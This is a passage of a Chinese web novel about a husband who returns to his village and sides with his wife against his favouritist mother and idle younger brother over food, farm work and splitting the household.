“好。”他把碗放到桌上:“过来喝麦乳精,不是说没吃饱?” 苏青莲没动地方:“我说真的,全都是我的。” “我没聋。”唐清江回复她:“都是你的。” 苏青莲当即乐滋滋点头:“好,你可不许反悔。” 然后,她又回头继续摆弄他带回来的东西,捧着雪花膏笑眯眯的。 苏青莲转头,激动地一把抱住唐清江:“你会不会觉得我贪心。” “嗯?”唐清江。 只是,还没等他反应过来,那温温软软的小身体就已经倏忽离开了。 苏青莲也不等他回答了,已经拿着雪花膏一蹦一跳地坐到窗台下的长桌子旁,从抽屉里拿出个碎掉的小镜子,然后就对着镜子认认真真抹起了脸。 “……”唐清江沉默。 好像有点可爱。 不对,是很可爱。 他沉默的盯着自己的妻子抹脸,她笑眯眯的给唐愿也抹着雪花膏,只是不知道怎么的皱起眉有点犯愁似的。 “怎么了?”他问。 “想做衣服,但是我好像不会针线。”她苦恼。 其实她觉得自己应该会,但是又觉得好像不会,她怕弄坏布料会很可惜很浪费,索性把这难题交给刚回来的便宜丈夫。 唐清江显然愣了一瞬,不过也没觉得苦恼。 “想要什么衣服,我做给你穿。” 好像早就已经习惯宠着她,甚至以前似乎也给她做过衣服的。 他喜欢宠着她的感觉。 第496章 关上门做些该做的事 “你做衣服给我穿?”苏青莲盯着他看了几眼,撇了下嘴:“你一个大男人会吗?” 他觉得自己是不会的,但应该不难,印象里好像有人教过他。 他顿了下,看向面前的小妻子,印象里还是这位小妻子教的他。 “不会可以学。”他开口。 苏青莲咬碎了嘴巴里的糖果:“你是让我学?” “我学。”唐清江眉头都没皱一下,仿佛为自己的妻子做事是理所应当的。 苏青莲眼睛都跟着弯了弯。 她这个才回家的老公好像有点可爱啊。 她笑着的时候男人就在一旁看她,看她笑眯眯的样子,心间微动,将麦乳精放到她手边:“不烫了,温度刚好。” 苏青莲开心的小腿晃了晃,唐清江见她肯喝了,这才去喂小女儿,不过唐愿会自己吃饭,已经在小口小口喝了。 “老大啊, 你们夫妻大白天的关什么门呢?” 木门上,响起‘啪啪啪’的拍门声音。 苏青莲也不喝了直接站起来,将床上的东西连同蛇皮袋和编织袋一起藏进衣柜里,才朝唐清江使了个眼色:“你去开门。” 唐清江瞧着他这番小动作,无奈摇摇头, 冷脸站起身去开门。 唐母和唐年、还有老二唐武都站在门口, 几人一眼对上唐清江冷峻的面孔,竟觉有些陌生, 一时愣住。 唐清江冷声道:“有什么事?你没被踹够?” 唐年听到这话腿又开始疼了,但为了拿到点好处只能双腿打颤的笑道:“大哥,我好歹是你弟弟,别总是要打啊踹的……我就是这几年没见你想你了,想跟你说说话,你这……怎么一回来就关门啊” 唐清江微抬眸, 漠然道:“正是因为那么久没见, 我跟我妻子才关上门做些该做的事。” “啊……”唐年一时没反应过来。 房间里的苏青莲,却听得清楚,立刻红了脸颊:“……” 唐清江在那乱说些什么呢? 而在这时, 唐母却也一巴掌拍在唐清江胳膊上, 寒声道:“老大, 在这对着你小弟乱说什么呢?” 这一下是半点没留力, 声音响得所有人心头一震。 唐清江微蹙眉。 苏青莲原本对唐清江乱扯还挺羞恼的,但想到唐清江给他带了这么多东西, 这会却被唐母欺负,就有点不开心,甚至是生气了。 那是她男人,只能她欺负! 她当即仰着头, 嘲讽喊道:“我说小弟也成年了,都该结婚的年纪了,什么该问什么不该问,还不知道吗,这眼巴巴地跑来关心哥嫂房里事,我们家老大回了一句还成他的错了,母亲,你这也太偏惯着小弟了?” 唐清江瞥一眼小妻子,还挺会护短。 唐母却更气了。 苏青莲还敢说话插嘴! 唐母瞪着苏青莲道:“有你什么事,我还没说你呢,老大以前多老实妥帖的一人,这会却口没遮拦的,还不都是你带的?” 呵呵……太可笑了。 唐母明显就是来找茬的。 “我带的?”苏青莲怒极反笑,直接站了起来:“我倒是想带呢,我带的了吗,谁家新郎结婚三天就被家里撵出去当苦力不见人影的,这好不容易今天才回家,跟媳妇说几句话,还要被娘和弟弟轮番上阵敲门盘问,我苏青莲没见识,回头倒是要去村里问问,还有没有这样的人家,还有没有这样办事的?” 唐母差点又被气得翻白眼,却又不知该如何反驳,只能指着苏青莲乱骂:“我们老大怎么娶了个你这样的媳妇,干活的时候不使力,吃饭的时候最积极,还就会顶嘴,每天把好好的家里都给搅得不得安宁?” 说着,她还准备拉了唐清江告状:“老大,你回来了正好,你这个媳妇……” 唐清江不动声色避开她的手,漠然地目光直直扫过去:“母亲,你真的有必要在我回家的第一天,就跟我妻子闹起来吗?” 唐母愣了一瞬,才蹙眉道:“老大,你……你什么意思?” 唐清江淡声道:“结婚三天我就出了门,把她一个人丢下,本身就是我对不起她,母亲就不要总是跟他计较这些小事。” “我计较,小事,我……”唐母万万没想到,向来老实听话的大儿子,居然会为了苏青莲那个小妖精直接反对自己。 唐年也立刻不赞同地蹙眉,轻斥道:“大哥,你怎么能这么对娘说话,你是不是昏了头了?” 唐清江眼眸微眯,嗓音冷淡到极点:“唐年,我看你才昏了头了,我是你哥,你又怎么敢这么对我说话,你书读狗肚子里去了。” “……”唐年瞪大眼。 他大哥真的疯了。 “哈……”苏青莲却扑哧一声,在身后忍不住得意地笑出声来。 唐老大,比他想象中有意思多了。 “好啊,你们夫妻两倒是齐心了,想造反了是吧,跟我顶嘴不算,还敢欺负你小弟……”唐母将唐年挡在自己身后,狠狠瞪着唐清江两人,几欲将它们扒皮的模样。 就在这时。 连续的几道口哨声,由远及近吹响在门外的村道上。 苏青莲听到了,不高兴地撇撇嘴,时间怎么过得这么快。 唐母恼怒瞪了唐清江几眼后,也急忙就转身走了。 这口哨声是每天大队长的集合召唤,听到就要去地里上工,迟到会扣工分的。 苏青莲赶紧跑进屋叮嘱唐愿锁好房门,不要让那混蛋小叔进门。 然后几乎是一瞬间,唐家的院子里,除了唐年再无任何人影。 对的,唐年成年几年了也整天混日子从不上工,全靠家里养着。 唐清江也跟苏青莲一道去了地里,他很多事情记不太清,要来看看。 唐家村地处南方,每年的三月末,正是稻子育秧的时候,属于生产队的人,便在往水田去的大树下集合。 队长唐玉树早早就到了,拿着个口哨,身边跟着记分员在数人打钩。 唐家生产队有50户人家,来上工的有四百多人,剩下没来的要么是屁大点小孩子,要么是已经老得干不动的,要么就是像唐年那样的,当然,唐年这样的人少有,全村也就那么一两个。 第497章 又漂亮又粘人 队长唐玉树数到唐清江面前时,语气颇和善地问道:“哟,清江,今儿回来的?” 唐清江点点头:“中午刚到的家。” 唐玉树笑道:“那行,你待会跟着建业他们去挑水,你干活利索,力气又大,下午给你算六个工。” 唐清江:“谢谢队长。” 唐玉树摇头:“客气啥。” 说完,又去点其他人的到了。 所有人确认无误后,队长便带着浩浩荡荡的人马,向着水田里走去。 男人们负责挑水、挖泥等,妇女年纪大一些的则播种、拔草等。 唐清江身体力气天生大,两桶水轻轻松松,别人一趟没完,他两趟都结束了。 刚好他挑水负责的地头,跟苏青莲干活的地方在一块。 便有一起挑水的男人打趣他:“咱们虽然只能干清江一半的活,但清江媳妇也只能干咱们媳妇一半的活计,哈哈……” “就这样才合适嘛,不是一家人不进一家门。” 唐清江看着苏青莲纤细的身体不时弯曲,往地里撒着稻种,顺便将刚刚没犁尽的杂草,拔起来扔到一旁的田埂上。 广阔的田地里,只有她一个人远远落在后面,其她人早超过了一大半。 傻乎乎的,又有点可爱。 但他不想让他妻子做这些。 他知道自己的小妻子从前是地主家的娇小姐,就是知道才更不想她做这些。 他想把她捧得高高的,什么种地拔草的活计他来做就行。 到大半下午时,分给唐清江的那一片已经都浇完了,他放下水桶走到苏青莲身旁。 苏青莲感受着身旁的阴影,抬起头好奇道:“你怎么过来了?” 唐清江淡声道:“干完了。” “那么快?”苏青莲反应过来,有些惊愕。 唐清江神色平静:“你去坐一会,我把你剩下的做完。” 苏青莲心中一喜,但是他也干了很久了,应该也会累,便眨了眨大眼睛,有些犹豫道:“挑水很累的,你……” 唐清江摇头:“不累,没事。” 说完,也不再理会她,便弯腰干了起来。 苏青莲就坐在一旁的田埂上,手里捏着根杂草玩,边玩边盯着唐清江看。 现在是三月底,虽然没有入夏,但天气是一日比一日暖和,干活的人大多都只穿着一件单衣。 唐清江天生火力旺,微微的汗湿了衣裳,紧紧贴在身上,随着他弯腰的动作,肩背和手臂上不时鼓起块块分明的肌肉。 苏青莲忍不住吞了口水,暗自琢磨着:唐老大这个家伙,虽然结婚三天就把他丢下,但是现在给他买了礼物,还帮他干活,身材还这么好。 那……那从今天开始,自己就不再生他的气好了。 而在这时,苏青莲却突然发现,跟他一起干活的那些女人,似乎也正在偷看自家男人,那小眼神没事就扫过来。 看完之后,还互相之间对视一笑,脸颊微微红。 “……”苏青莲。 这帮不矜持的家伙。 苏青莲忽然觉得自己浑身又充满了力量,这向来最讨厌的农活,好像也没那么让人生气了。 苏青莲鼓着脸颊从地上蹦起来,追上唐清江,气呼呼道:“我来撒种子,你去拔草。” 说完,还不忘恶狠狠瞪了那些正看过来的女人一眼。 哼,难道不知道,唐清江已经结婚了吗?这男人是她的! 这时候,虽然还存有不少重男轻女的老封建,但也很多人都是妇女能顶半边天的思想,个个劳动都很厉害,自觉不比男人差。 性子也就相对泼辣地很,对于苏青莲的瞪视,不仅不害羞,反而还嘻嘻哈哈大笑起来。 苏青莲被这群人气得没话说了,只能把冷嗖嗖的视线投向唐清江这个罪魁祸首。 “……”唐清江。 怎么突然就生气了? 算了,回家再哄吧。 只撒种的话,苏青莲干起来还是比较快的,最后基本跟唐清江的拔草的效率差不多。 等天黑下来之后,队长站在田头再次吹了几声口哨。 大家心头一喜,纷纷直起腰来,捶背的捶背、捏肩的捏肩,这一天算是结束了。 唐清江把水桶挑着去还到生产队的仓库,这都是公共财产,每天都要登记的。 苏青莲本来要回家,但是想到之前那些女人看唐清江的眼神,便也跟着一道去了。 这下,那些大男人又打趣起来了:“还是清江有福气,这媳妇多粘人。” “又漂亮又粘人,多幸福啊!” 唐清江看了苏青莲一眼,苏青莲见唐清江在看他,立刻得意地一挑眉。 那里面明晃晃写着,知道你有多幸福了吧,有她这么漂亮又粘人的媳妇,以后要好好珍惜关爱啊! 唐清江看他神采飞扬的模样,心中也软了几分。 傻乎乎的,更可爱了。 两人回到唐家的时候,厨房烟囱已经冒起了炊烟,大家都围着大木桌坐在院子里,唐年手上还拿花生在剥着吃。 外面亮堂,这样能省点电费。 唐母刚好端着饭菜从厨房出来。 唐母见着这两人一齐进门,简直眼不是眼,鼻子不是鼻子,碗‘砰’一声磕在桌面上:“送个桶去大队部,还要两个人一起,八百年都没见过了是吧,家里这一堆活计等着呢?” 唐清江拉着苏青莲在桌旁坐下,才淡淡看了唐母一眼,漠然道:“母亲的嘴不是用来吃饭的只是用来阴阳怪气的吗,那这饭爷不必吃了。” “……”唐母。 唐母气的脸更红了。 她是管不了老大了! “哈哈……”苏青莲则是趴在唐清江背上,笑得浑身都打颤。 他这老公,看着不怎么爱说话,但这一开口,简直能气死人又笑死人。 唐母气红脸的开口:“好了,先吃饭吧!” 众人赶紧拿起自己的碗筷。 这年代想吃饱,可都是靠抢的。 苏青莲吃饭是最积极得,拼了命在那盆稀得能见底的杂粮粥里,捞了点干得出来,还给唐清江和唐愿捞了一碗。捞完饭就去抱了唐愿出来。 唐母一眼瞧见这两人和唐愿碗里零星的干渣渣,顿时又气得火冒三丈,开始骂骂咧咧起来。 “真是饿死鬼投胎啊,一点干得捞得这么干净,其他人都喝水去啊,我唐家怎么就出这群白眼狼,吃饭比干活积极一百倍……” 第498章 他喜欢白嫩的 苏青莲自然知道这是在骂他们一家,抬眸淡淡瞥了眼唐母。 转头却是筷子一拍,又故技重施起来,对着坐在他们对面的唐年冷喝道,“小叔子,没听见娘说吗,你那一碗里全是干的,让我们这些一整天下地挣工分的都喝水吗,你白眼狼投胎啊?” 反正,唐母骂他,他就骂唐年。 唐年正埋头吃饭呢,被这动静吓得一愣。 他看着坐在苏青莲身旁面无表情的唐清江,想起白天的事,故意试探告状道:“大哥,你看大嫂,你不在家的时候,他就是这么欺负我?” 唐清江瞥他一眼,淡声道:“你大嫂说得很对,不干活的人,就该少吃,母亲刚刚也是这个意思吧?” 唐年神色一变,大哥是真的不对劲了,白天不仅踹他对他那么说话,他只当是被打扰好事所以生气,男人不都那样,但现在却像是完全变了个人一样。 唐母最向着唐年,见他表情不好,连忙又对着唐清江道:“你在胡说什么,你弟弟能一样吗,他打小就有福气,白白嫩嫩长得好,能跟咱们一样下地干活吗?” 苏青莲冷嘲道:“有个什么福气,真有福气,老唐家不早该飞升了吗,他能白白嫩嫩,那不是二哥给他端洗脚水、给他洗衣服、老二的媳妇为什么回娘家呢?还不是因为老二家的孩子都要省着自己的糖果给他吃。呵呵,他倒是有福气了,其他人全痛苦了。” 闻言,老二唐武的面色忍不住变了变。 他也没办法,这么多年都听娘的话,但他媳妇忍不了,这才被气回了娘家。 唐母恼怒至极:“你胡说什么,那是老二喜欢年年,而且年年还没成家,有我养着,养得起怎么了?” 苏青莲轻笑一声,歪着脑袋装模作样道:“哦,那这样的话,我们阿愿吃的很少,我也算只有一个人,我有我们家老大养着,我们老大一个人干活能抵两个人,我以后也像唐年一样,也不干活了,每天还要吃得最好穿得最好,反正我们老大也养得起。” 说完,他还拉了拉唐清江的手,要他给自己撑腰。 唐清江平静地点点头,淡声道:“好,以后你就像年年学习,别下地了,在家养得白嫩点,我喜欢那样的,我会赚工分赚钱。” “……”苏青莲脸红。 怎么吵架吵得好好的,就往那方面去了。 唐年简直要被气得想摔桌子。 这两人,还要不要脸了。 “养什么养?”唐母一拍桌子,怒道:“一家人还想搞特殊化是吧?” 唐清江看唐母一眼,神色不变:“那也是您先给唐年搞特殊化的,不患寡而患不均。” “……”唐母听不懂自家老大文绉绉的说些什么她不打算再跟他们夫夫两扯这事。 说到赚钱,她想起了一件重要的事。 她尽力平息自己的怒气,看向唐清江问道:“之前忘问了,你最后那一个月的工资呢?还有之前拎得那行李袋里都是什么,你小弟说让你给他带雪花膏和肉罐头了,你没忘吧?” 唐清江去县郊挖河道,挖完河道又去其它区跟着工队干苦力,每个月有15块钱的工资,之前都是每个月底发了工资就立刻托人带回来交给唐母,但这最后一个月,他自己就要回家了,自然就不必托人带了。 所以,这钱也就顺理成章留了下来。 唐清江眯眼心道幸好没交,不然真一穷二白了。 苏青莲也立刻停止了羞意,暗暗撅了噘嘴巴。 早知道唐清江身上有钱,她就提前摸下来了,这下说不定要被唐母给拿走了。 唐清江神色冷漠地看着唐母:“工资我有用。” “十五块呢,你要那么多干什么用?”唐母面上极冷,直接伸着手道:“快给我。” 唐清江只当没看见,继续道:“我在河道干活的时候,认识了一个开车的师傅,他教我开车和修车,工资我要买些礼送去。” 唐母瞪大眼:“干什么买那么贵的礼,还学开车修车,那东西你能学得会吗,那人莫不是看你傻,蒙你的吧?” “我自己挣的钱,我花得起,我乐意。”唐清江冷冷道。 “……”唐母。 他这儿子是不是真得撞邪了? 唐年赶紧追着问道:“大哥,你走之前答应我的,说赚了钱给我买雪花膏和罐头呢?你买了么?” 唐清江自然懒得理他,低头专心吃饭。 刚刚都闹翻了,还好意思问。 苏青莲却不放过,当即气呼呼瞪着唐年道:“买什么买,你大哥哪有钱买,工资不都交给娘了么,你大哥花点钱送礼给师傅还要挨骂呢,哪里还有闲钱买什么雪花膏和肉罐头!你自己都快吃成球了还吃肉!呸!” 哼,当然,买给自己的那另外算。 苏青莲内心得意洋洋。 唐清江看苏青莲吵架辛苦,在一旁给她夹青菜:“别理他,快吃饭。” “……”唐年。 好了,现在大哥不仅不疼他了。还专门欺负他了是吧? “好啊,在这都学着指桑骂槐呢,还吃什么饭呢,你们两赶紧给我滚。”唐母却是怒到了极点。 唐清江偏头看她一眼,冷声道:“那好,刚好待会就要去大队部记工分,我就直接让大队长把我和青莲还有阿愿的工分、粮食关系都单独分出来,今晚开始我们分家出去过。” “你想得美!还想分家?”唐母拍了下桌子大怒。:“老大,你在说什么胡话?我还活着呢!没死呢!你想逼死我吗?” 唐清江淡淡扫了她一眼,漠然道:“这跟你在不在没关系,国家本就支持结了婚的人,早点出来分家独户,提高生产积极性,什么三世同堂、四世同堂这都是封建大家长形式,你们这样想要搞复辟。” 唐母面色一白。 唐母只能憋屈的赶紧拍了拍唐清江道:“老大,娘就是舍不得你,你别乱说话。” 唐清江没说话。 苏青莲却哼唧一声:“舍不得我们,我可真没看出来,舍不得我们家老大这个免费劳力,帮着养唐年那个米虫吧。” 第499章 我捏捏碰碰怎么了 “唐武,难道你们不想分家吗?你不分家,你媳妇可就回不来了,你看母亲有提过一句吗?好不容易讨了个媳妇进门还要被逼走,以后有了孩子也要像我家阿愿一样被欺负呢。” 唐武当即迟疑一瞬。 是,母亲只喜欢唐年,所以家里人都是唐年的佣人,唐愿还那么小就要被欺负,吃不饱饭,都是苏青莲饿着肚子喂孩子。 那自己呢?莫说自己媳妇被气回娘家了,就是回来了还要过这种生活吗? 见唐武在沉思,唐母更是恼怒,这一个个都什么意思?反了天了! …… 分家的想法虽然提出来了, 唐母大约也看明白了两儿子的意思。 但分家,暂时是不可能分家的。 唐母有现成的筏子呢,唐年还没说人家。 小的都没成家,老大和老二你们两个当哥哥的现在要是分家,那就是没良心, 不管弟弟们的死活。 反正不管怎么样, 都要等唐年也成家了再说。 对此,唐清江自然早有预料。 分家的事情, 就没有那么一蹴而就的。 不过…… 唐清江冷冷看了几人一眼,就算现在不能分家, 但唐年还想像以前一样过得舒服, 那是不可能的。 “不分家可以, 但是从今天起,要么唐年也一起下地干活, 要么青莲也跟着他一起蹲家里,没有所有人都受苦, 就唐年一个人能快活享受的道理,他现在已经二十岁,不是八岁的孩子。” 唐母见唐清江又针对自己的小儿子,当即把脸一翻道:“你还以为就你媳妇那妖里妖气样子,真能干多少活不成,我都不好意思说,别人家媳妇一天七八个工分,她才三四个、四五个,就别人一半,谁真稀罕他那点啊?” 苏青莲自然不会白白忍让,立刻也回道:“我四五个工分怎么了,我管我和阿愿够了,再说了,我们老大会干活呢,他会养我,不像唐年一个工分都没有呢,还天天白吃白喝、让人伺候?他这样的人,就是国家和集体的蛀虫。” “你说谁蛀虫?你这当着我的面,就敢骂年年?”唐母大怒,就伸出手来要拧人。 苏青莲赶紧躲到唐清江身后,却不忘伸出个小脑袋继续吵架:“我实话实说,哪错儿了?他就是蛀虫。” 唐清江将他严严实实挡在身后,抬头对着唐母冷冷道:“你不必跟青莲争论,折中办法我已经放那儿了,没有其他选项,现在要么一起享受,要么大家一起干。” 反正他不想小妻子继续劳累。 “你……”唐母气得说不出话来。 分家是迟早的事,他是不会让自己的妻子女儿继续留在这种家庭被磋磨欺负的。 不过眼前还有一件更紧迫的问题等着他。 晚间洗漱过后。 唐清江看了眼近在咫尺的床榻,眯了眯眸子,只有一张床,也就是说他们晚上要睡在一起。 苏青莲已经自动自觉地上了床,用被子将自己裹成一团,甚至还满足地打了个滚儿,然后抱着唐愿从床上起来。 她已经坐在床边教唐愿认字了,唐愿口齿清晰,几乎是她教过就记住了,苏青莲洋洋得意。 “我就说是因为我聪明我们阿愿才能这么聪明呢。” “唐清江,我以后可是要让阿愿念大学的。” 唐愿也眨着眼睛看唐清江,等他回答似的。 “嗯,阿愿聪明,她能念大学我当然愿意。” 得到满意的回答苏青莲才高兴了,唐愿还太小,认了字就困了,缩在床上的角落睡过去。 苏青莲躺在床上拍抚了下唐愿的背,直到发觉一道目光正在盯着自己,她才揪着被角怔愣片刻。 她好像把自己才归家的丈夫忘到脑后了。 而后,慢吞吞将自己的被子让出来一点,飘忽着嗓子问道:“你要跟我睡一起吗……” 看到他这模样,唐清江嗯了一声:“那不然呢?” 她是他的妻子,当然要睡一起。 苏青莲的性格虽然泼辣娇气了些,但他喜欢,第一眼就喜欢。 那肯定要一起。 “……”苏青莲哦了一声,给他让了点地方。 其实也不怪她一时无法接受吧, 结婚三天就跑出去,自己和阿愿都睡这么久了,这突然多出一个人,不得先适应一会嘛? 就在这时,苏青莲忽然觉得腰上一热,身边人的大掌正握了上来。 她眸子微瞪,不知怎得,就想起了白天时,唐清江对唐年说得话,什么许久不见,做夫妻该做的事…… 甚至还想到三年前那三天,虽然唐清江当时确实在家只待了三天,但不是什么都没做的。 想到白天这男人的肌肉…… 啊啊! 唐清江要对他做那种事了吗? 当初结婚那晚做过的事,又要继续了吗! 下一刻,她发现自己的身体被轻轻推了下,由平躺被推成了侧躺。 接着,唐清江冷漠的嗓音在耳边响起:“压到我衣服了。” “……”苏青莲。 三年没见这家伙是不是不行啊? “哦。”苏青莲撇撇嘴,赌气似的抱着唐愿,离男人远远的,两人之间隔了很长一段距离。 唐清江敛眉,靠过去,重新把人带进怀里。 “离我远点,小心我又压到你衣服。” 苏青莲还在生气。 她就是小心眼。 “已经脱掉了。”唐清江声音带着点哑。 脱……脱掉了? 苏青莲稍一动作就能感觉到男人灼烫的呼吸还有健硕的身躯,忍不住再度想到三年前。 三年时间这男人都没碰过女人,这干柴烈火的…… 不行不行,阿愿还在呢。 苏青莲转过身推他:“不能做其他的,阿愿还在。” 话音才落,触手的就是男人火热的身躯,那肌肉触感……苏青莲没忍住盯着他肌肉看,脸有点红了。 下一秒心道自己男人,看看怎么了?就要看。 不仅看,还要戳。 唐清江:“……” 看到小妻子简直是把他当玩具似的又戳又玩,一时颇为无奈。 “苏青莲,你安分点。” 是谁才说过阿愿在的? 他说完,苏青莲不服气的又捏一把,一点都不安分。 “你是我男人,我捏捏碰碰怎么了。” 第500章 哄她 苏青莲现在一点都不乖,还浑身都是小尖刺,此刻就这么张牙舞爪的,像个小刺猬,可伸向他的刺却是软的。 他轻微叹了口气握住她乱摸的手捏了捏。 “别闹了。” “等分家后会给阿愿准备单独的一间房,到时候会满足你的。” “乖一点,很晚了。” 他说完将苏青莲拥进怀里,哄小孩似的,温柔中带着妥协。 苏青莲脸颊红了红。 什么啊,谁要你满足了……不过是好晚了。 她乖了,依偎在男人怀中睡过去。 第二日醒来时,唐清江看着钻到自己怀里、睡得香甜的人,总觉得这场景有些莫名的熟悉,好像曾经上演过无数次一般。 正想着,苏青莲柔软的脸颊在他手臂上轻轻蹭了蹭,又挪了挪身体,似是寻到个最舒服的姿势,继续睡了起来。 唐清江打量片刻,伸手轻轻捏了捏她的脸颊肉。 触感不错。 苏青莲半睁开眼,模模糊糊看了他一眼,便又立刻阖上了眸子,在他怀中哼哼唧唧:“嗯……要起床了吗?” 唐清江觉得她这反应很有意思,好像两人早已彼此熟得不能再熟,是相伴半生的老夫老妻。 不过,这感觉似乎很好。 他眯了眯眼,轻声应道:“昨天不是说了,你今天就和唐年一样,在家里呆着就行。” “好……”苏青莲趴在他怀里,拖长着声音,困倦地应了一声。 唐愿也醒了,迷迷糊糊的睁着眼看他,嘴里喊着:“父亲。” 唐清江揉了揉她蓬松的头发,在她头顶亲了亲:“继续睡吧,等你母亲醒了后让她给你泡麦乳精。” 唐愿看着他,嗯了一声,头在他怀里蹭了蹭,软乎乎的。 好乖。 唐清江忍不住笑,眼底溢满的都是柔色。 唐清江慢慢将人放下,起床穿衣洗漱。 他本以为自己的动作轻到极致。 但几乎是他气息消失在这个房间的瞬间,苏青莲香甜的睡眠,便变得不安稳起来。 原本能够睡懒觉,是最叫苏青莲开心的事。 但今天也不知为何,唐清江走了后,她很快也醒了,而后在床上翻来覆去打了好几个滚,却怎么也睡不着了。 又躺了一会儿。 太阳升得很高了,苏青莲连忙爬了起来,唐愿也醒了。 她抱着阿愿洗漱才走出房间。 走出房间时,一眼就看到唐年坐在桌子旁吃早饭,手里还拿着个鸡蛋在桌角处轻轻磕。 苏青莲当即气愤地瞪大了眼睛:“这还真是幸好我今天没下地啊,不然哪里还看不到你一个人在家偷偷吃鸡蛋呢,唐年,你怎么好意思的?” 在这样物资匮乏的时期,鸡蛋便是农家人难得一见的荤菜了。 唐年这个什么事也不做的人,居然在家吃鸡蛋。 唐年停下磕鸡蛋的动作,紧紧将其握在掌心,不屑地看向苏青莲:“你今天不也没下地?再说,鸡蛋是娘给我的,跟你有什么关系?” 苏青莲瞪眼:“怎么跟我没关系,就算今天我没下地,但之前我给家里赚工分了,我们家老大赚得最多,全家就你一个吃白饭的,我不吃鸡蛋,你更不能吃。” 说着,她立刻气势汹汹地冲了上去。 苏青莲的力量,在地里干活时不值一提,但对唐年这个此刻愣神的混子比起来却差不了多少,而且,此刻她对食物的执念更是最强大的。 两人争执了一会儿之后,这鸡蛋还真被他抢了去。 苏青莲将鸡蛋宝贝地放进自己口袋里,还一边瞪着唐年:“你等着,我现在也每天都在家,我一定会好好盯着你的,你休想再享受什么优待。” 唐年被他这撒泼行为,弄得无语极了。 他看着自己手上指甲的划痕,气怒道:“你这个疯子,没见过世面的疯子,就为了一个鸡蛋就发病。” 苏青莲越发气怒:“什么叫就为了一个鸡蛋,不说我们家老大在河道怎么样了,就老二,家里干活最辛苦的,都多久没吃鸡蛋了,你还敢说就一个鸡蛋,你不稀罕鸡蛋,你怎么还偷偷吃啊,不让出来给别人啊!” “你!关你什么事!”唐年气得饭也不吃了,直接手忙脚乱地跑出了门,也不知道跑哪里去了。 苏青莲看着他的背影,得意地哼一声。 坐在桌子旁,将盆里还没动过的杂粮粥跟唐愿分着一起喝了,又给唐愿泡了麦乳精,看她喝了才让她在一旁等自己。 外面太阳越来越大了,苏青莲去厨房打了一壶凉水,然后带上草帽,揣着刚刚抢到的宝贝鸡蛋牵着小女儿去了地里。 昨天的水已经挑得差不多了。 今天主要是在整田犁地。 他们唐家村三个生产队,只有一辆公用拖拉机,在农忙时候,只能是每个生产队轮几天。 最近这几天,刚好轮到他们生产队。 用拖拉机犁地,自然比人力要轻松很多,但只轮到几天,所以,为了保证不耽误育苗插秧,只能人力和拖拉机同时干。 唐清江正在地里抡锄头。 冷峻帅气的面孔,干净流畅的动作,漂亮起伏的肌肉,立刻又吸引了不少女人的目光。 苏青莲兴高采烈走到地头的时候,就看到了这跟昨天一般的熟悉的一幕,当即牵着唐愿怒气冲冲地加快了脚步。 他也不看着脚下,拎着壶水就往唐清江身边跑。 唐清江正专心抡锄头,她就硬生生站在前面。 饶是唐清江向来冷静,也被他这动作吓了一跳。 他停下锄头,看着人冷声道:“疯了,站在那里,待会直接砸你头上去了。” 苏青莲原本是兴高采烈过来表功,这一来先是被那些女人们气到,现在又是被唐清江指责,顿时不高兴地鼓起了脸颊。 “你是嫌我过来坏了你的好事?” “……”唐清江一时无言。 看来是吃醋了才会这么冲动。 他也记得下次会跟小妻子温柔点说话,免得小妻子又生气,生气还不好哄。 他缓了缓面色,低眸一眼扫到苏青莲手上的水壶,温声问道:“送水来的?” 苏青莲瞪着他:“送什么送,不送了,我现在就走了。” 说完,真的立刻转身就要回去。 还真生气了。 现在就要哄了。 第501章 我只会看你 他将锄头放到一边,伸手牵住人的细腕。 苏青莲撇了撇嘴,不甘心地挣扎了两下。 不过,那点力气也就对付唐年,在唐清江手中简直跟小猫挠痒痒没区别。 很快,就被牵着走到旁边的田埂上坐下。 唐清江给她垫了块大叶子,又抱着唐愿在怀里,这才看向苏青莲:“不开心了?” “她们都在看你。” 苏青莲憋了憋,还是哼哼唧唧地说出了口。 “……”唐清江微愣。 半晌,他眯了眯眼,直直看向苏青莲:“所以,你是真的在吃醋。” 苏青莲立刻被踩了尾巴的猫一样:“吃醋,吃什么醋,谁吃醋了,我就是觉得她们太不矜持,你一个普普通通结了婚的大男人,有什么看的意义。” 她虽然否认地干脆,还趁机贬低了唐清江几句。但唐清江却是个不折不扣的聪明人,这还看不明白吗? 唐清江忍不住揉了揉苏青莲的头,笑了笑回了一句:“看就看,反正……我又不会看他们。” 想了想,他又补充一句:“我只会看你。” 回答地应该没问题吧? 苏青莲:“……” 怎么这么会说话? 还是自己表现地太明显了。 唐清江看着苏青莲手中的水壶,淡声道:“给我吧。” “哦。”苏青莲连忙点头,十分积极地递了过去,立刻便忘了先前的拒绝之词。 甚至,她还饶有兴致地托着腮,开始目不转睛地盯着唐清江喝水,仿佛是什么从未见过的美景。 唐清江拎着水壶,直接便仰头灌了起来。 他脖颈很修长,却不是女性的那种纤长,而是一种成熟男人的性感挺拔,随着水进入薄唇,喉结一动一动,咕咚咕咚响着。 水壶盖子不稳当,几束水珠顺着脖子,往唐清江的衣服里流去。 苏青莲看着这一幕,想着今天早上躺在他怀里时,碰到的那硬邦且分明的肌肉,当即忍不住红了脸颊。 唐清江没发现自家妻子的奇怪状态,喝饱后将水壶放到一边,淡声道:“辛苦你了。” 苏青莲抬头,双眼亮晶晶地看着他:“不辛苦,水好喝吗?” “……”唐清江眯眼。 不就是白水吗?还能有什么特殊味道? 若是往日,有人问他这么无聊的问题,他肯定理都懒得理。 但苏青莲双眸亮晶晶,就这么期待地看着他,仿佛里面盛了漫天碎星。 撒娇啊,宠着。 唐清江都没有犹豫一秒便淡声道:“很甜。” “嘿嘿……”苏青莲手托着下巴轻轻笑了起来。 唐清江垂眸暗道:笑得这么可爱,又这么好哄。 就在这时,苏青莲突然又一拉他的衣袖,十分雀跃道:“我还有更好的的东西。” 唐清江点头:“哦。” 苏青莲神秘兮兮道:“哎,你猜一下吗?是好东西哦。” 唐清江视线慢悠悠扫了他一眼,就发现他余光正在下意识地向着上衣口袋瞟去,而看那口袋印出来的模样,实在再好猜不过。 他平静回道:“我猜,你带了鸡蛋。” 苏青莲:“……” 让你猜,不是让你直接报正确答案啊。 怎么这样,一点惊喜都没有了。 唐清江看他突然低落的气势,难道自己猜错了? 他斟酌着问道:“要不我重新猜一遍。” 苏青莲摇摇头,从口袋里十分宝贝地将鸡蛋摸了出来。 摸了一会儿,她情绪便又重新变得高涨了,得意洋洋道:“虽然你猜对了鸡蛋,但是你猜鸡蛋我从哪来的?” 唐清江随口便道:“从唐年那拿的?” 这不年不节的,全家也只有唐年可能吃到鸡蛋。 苏青莲:“……” 这日子没法过了。 她老公怎么这样啊? 